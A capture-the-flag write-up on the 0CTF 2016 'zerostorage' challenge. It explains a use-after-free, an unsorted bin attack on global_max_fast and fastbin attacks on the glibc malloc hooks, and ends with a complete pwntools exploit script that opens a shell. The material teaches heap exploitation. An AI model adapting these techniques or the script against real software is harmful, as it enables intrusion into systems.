Introduction

This challenge is a perfect example to demonstrate unsorted bin attack. Different from HITCON 2016 House of Orange, there are not so many limitations on attacker. So we are given more freedom in manipulating heap and preparing memory. Unlike House of Orange, there seems another much more straightforward solution in [1]. In this post, I will provide a different exploitation plan from [1] based on unsorted bin attack.

Vulnerability Analysis

The vulnerability exists in the merge function. If toID and fromID are the same and the addition of size of these two chunks are less than 0x80, the merged chunk (still the same chunk) will be put into the list again and the chunk will be freed, resulting in an use-after-free vulnerability.

Exploitation Plan

Info Leak: In [1], it seems that there is no need to leak the address of heap. But the it has to leak the cookie used in the challenge. However, in my exploitation plan, there is no need to leak the value of cookie. But I have to leak the heap address instead.
To leak the address of libc and heap at the same time, I will delete a normal chunk of size 0x90 first and merge the second chunk to itself. The victim chunk is shown below.

0x7f08e3716000:	0x0000000000000000      0x0000000000000091
0x7f08e3716010:[0x00007f08e3716130]<=FD[0x00007f08e15547b8]<=BK
0x7f08e3716020:	0x4141414141414141      0x4141414141414141
0x7f08e3716030:	0x4141414141414141      0x4141414141414141
0x7f08e3716040:	0x4141414141414141      0x4141414141414141

Hijacking Control Flow

With UAF vulnerability in this challenge, we gain one write-something-anywhere primitive. Different from FILE Stream Oriented Programming, this time we overwrite global variable global_max_fast. After this, all chunks, whose sizes are less than unsorted_bin(av), will be processed as fastbin chunk.

#define set_max_fast(s) \
  global_max_fast = (((s) == 0)	? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast

//In _int_malloc and _int_free, the condition to enter fastbin route is based on the following conditional statement
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

However, things are a little bit complicated because we cannot allocate chunks of size 0x70 and allocate a chunk covering __malloc_hook as below:

(gdb) x/20gx 0x7f08e1554740-0x23
0x7f08e155471d:	0x08e1219c90000000	0x000000000000007f
0x7f08e155472d:	0x08e1219c30000000	0x000000000000007f
0x7f08e155473d:	0x0000000000000000	0x0000000000000000

However, I found something interesting after searching a little bit further

0x7f08e15546f7:	0x00001f0000000300	0x0000000000000300
0x7f08e1554707:	0x007f08e155414000	0x007f08e155094000
0x7f08e1554717:	0x0000000000000000	0x007f08e1219c9000
0x7f08e1554727 <__memalign_hook+7>:	0x0000000000000000	0x007f08e1219c3000
0x7f08e1554737 <__realloc_hook+7>:	0x0000000000000000	0x0000000000000000
0x7f08e1554747 <__malloc_hook+7>:	0x0000000000000000	0x0000000000000000

I can use 0x300 at 0x7f08e15546f7 to launch the attack! So the final exploitation plan has come up.
(1) Allocate a chunk of size 0x2f0, denoted as L.
(2) Trigger the UAF vulnerability and leak the address of libc and heap.
(3) Manipulate the victim chunk and trigger the unsorted bin attack to overwrite global_max_fast.
(4) Free L and L will be processed as a fastbin.
(5) Use fastbin attack on the victim chunk via repeating to allocate chunks of size 0x90. Our goal is to allocate a chunk that overlaps on the metadata of L.
(6) Use the latest allocated chunk to overwrite the FD pointer of L with 0x7f08e15546f7.
(7) Use fastbin attack again on L to overwrite the __realloc_hook and __alloc_hook and use one gadget to get a shell.

The reason why I overwrite both __realloc_hook and __alloc_hook is similar to what we do in 0CTF 2017 BabyHeap. The stack layout can fit the constraint on one gadget as shown below:

(gdb) x/20gx $rsp
0x7ffdd1aeb058:	0x00007f52cc8814ae	0x000000000000000a
0x7ffdd1aeb068:	0x0000000000000009	0x0000000000000080
0x7ffdd1aeb078:	0x00007f52ccfeb060	0x00007ffdd1aeb1a0
0x7ffdd1aeb088:	0x00007f52ccde9057	0x00007f52ccde99e6
0x7ffdd1aeb098:	0x00007f52ccde9c00	0x0000000000000000
0x7ffdd1aeb0a8:	0x00007f52ccde8d71	0x00007ffdd1aeb1a0
0x7ffdd1aeb0b8:	0x00007f52ccde8d57	0x0000000000000000
0x7ffdd1aeb0c8:	0x00007f52cc81fec5	0x00007ffdd1aeb1a8
0x7ffdd1aeb0d8:	0x00007ffdd1aeb1a8	0x0000000100000001
0x7ffdd1aeb0e8:	0x00007f52ccde8c40	0x0000000000000000

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
	r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
	r = process("./zerostorage");
elif(DEBUG == 2):
	r = process("./zerostorage");
	gdb.attach(r, '''source ./script.py''');

def insert(length, data):
	r.recvuntil("Your choice: ");
	r.sendline("1");
	r.recvuntil("Length of new entry: ");
	r.sendline(str(length));
	r.recvuntil("Enter your data: ");
	r.send(data);

def update(num, length, data):
	r.recvuntil("Your choice: ");
	r.sendline("2");
	r.recvuntil("Entry ID:");
	r.sendline(str(num));
	r.recvuntil("Length of entry: ");
	r.sendline(str(length));
	r.recvuntil("Enter your data: ");
	r.send(data);

def merge(fromID, toID):
	r.recvuntil("Your choice: ");
	r.sendline("3");
	r.recvuntil("Entry ID: ");
	r.sendline(str(fromID));
	r.recvuntil("Entry ID: ");
	r.sendline(str(toID));

def delete(num):
	r.recvuntil("Your choice: ");
	r.sendline("4");
	r.recvuntil("Entry ID: ");
	r.sendline(str(num));

def view(num):
	r.recvuntil("Your choice: ");
	r.sendline("5");
	r.recvuntil("Entry ID: ");
	r.sendline(str(num));

def list():
	r.recvuntil("Your choice: ");
	r.sendline("6");

def exploit():
	insert(0x20, "A"*0x20);
	insert(0x98, "B"*0x98);
	insert(0x20, "C"*0x20);
	insert(0x20, "D"*0x20);
	insert(0x2f0, "E"*0x2f0);
	insert(0x20, "F"*0x20);
	delete(2);
	merge(0, 0);

	view(2);
	r.recvuntil("Entry No.2:\n");
	leaked = r.recv(8);
	leakedValue1 = u64(leaked);
	log.info("leaked value: 0x%x" % leakedValue1);
	leaked = r.recv(8);
	leakedValue2 = u64(leaked);
	log.info("leaked value: 0x%x" % leakedValue2);

	libcBase = leakedValue2 - 0x3be7b8;
	log.info("libc base address: 0x%x" % libcBase);
	update(2, 0x10, p64(leakedValue1) + p64(libcBase + 0x3c0b30 ));

	insert(0x20, "E"*0x20);
	insert(0x20, "F"*0x20);
	list();
	delete(2);
	delete(0);
	delete(6);

	update(3, 0x80, p64(0xdeadbeef)*4 + p64(0) + p64(0x91) +p64(0xbabecafe)*10);
	update(4, 0x2f0, p64(0xdeadbeef)*2 + p64(0) + p64(0x91) + "\x00"*0x2d0);

	delete(4);
	insert(0x20, p64(leakedValue1+0xc0) + p64(0)*3);
	insert(0x20, 'a'*0x20);
	insert(0x20, 'b'*0x20);
	insert(0x80, 'c'*0x80);
	update(6, 0x80, p64(0xdeadbeef)*10 + p64(0) + p64(0x301) + p64(libcBase+0x3be6f7) + "d"*0x18);

	insert(0x2f0, "e"*0x2f0);

	payload = "a"*0x29 + p64(libcBase + 0x4652c) + p64(0) + p64(libcBase+0x82ef9);
		
	padding = 'c'*(0x2f0 - len(payload))
	insert(0x2f0, payload + padding)
	r.recvuntil("Your choice: ");
	r.sendline("1");
	r.recvuntil("Length of new entry: ");
	r.sendline(str(0x80));
	r.interactive();	

exploit();

Reference

[1] http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/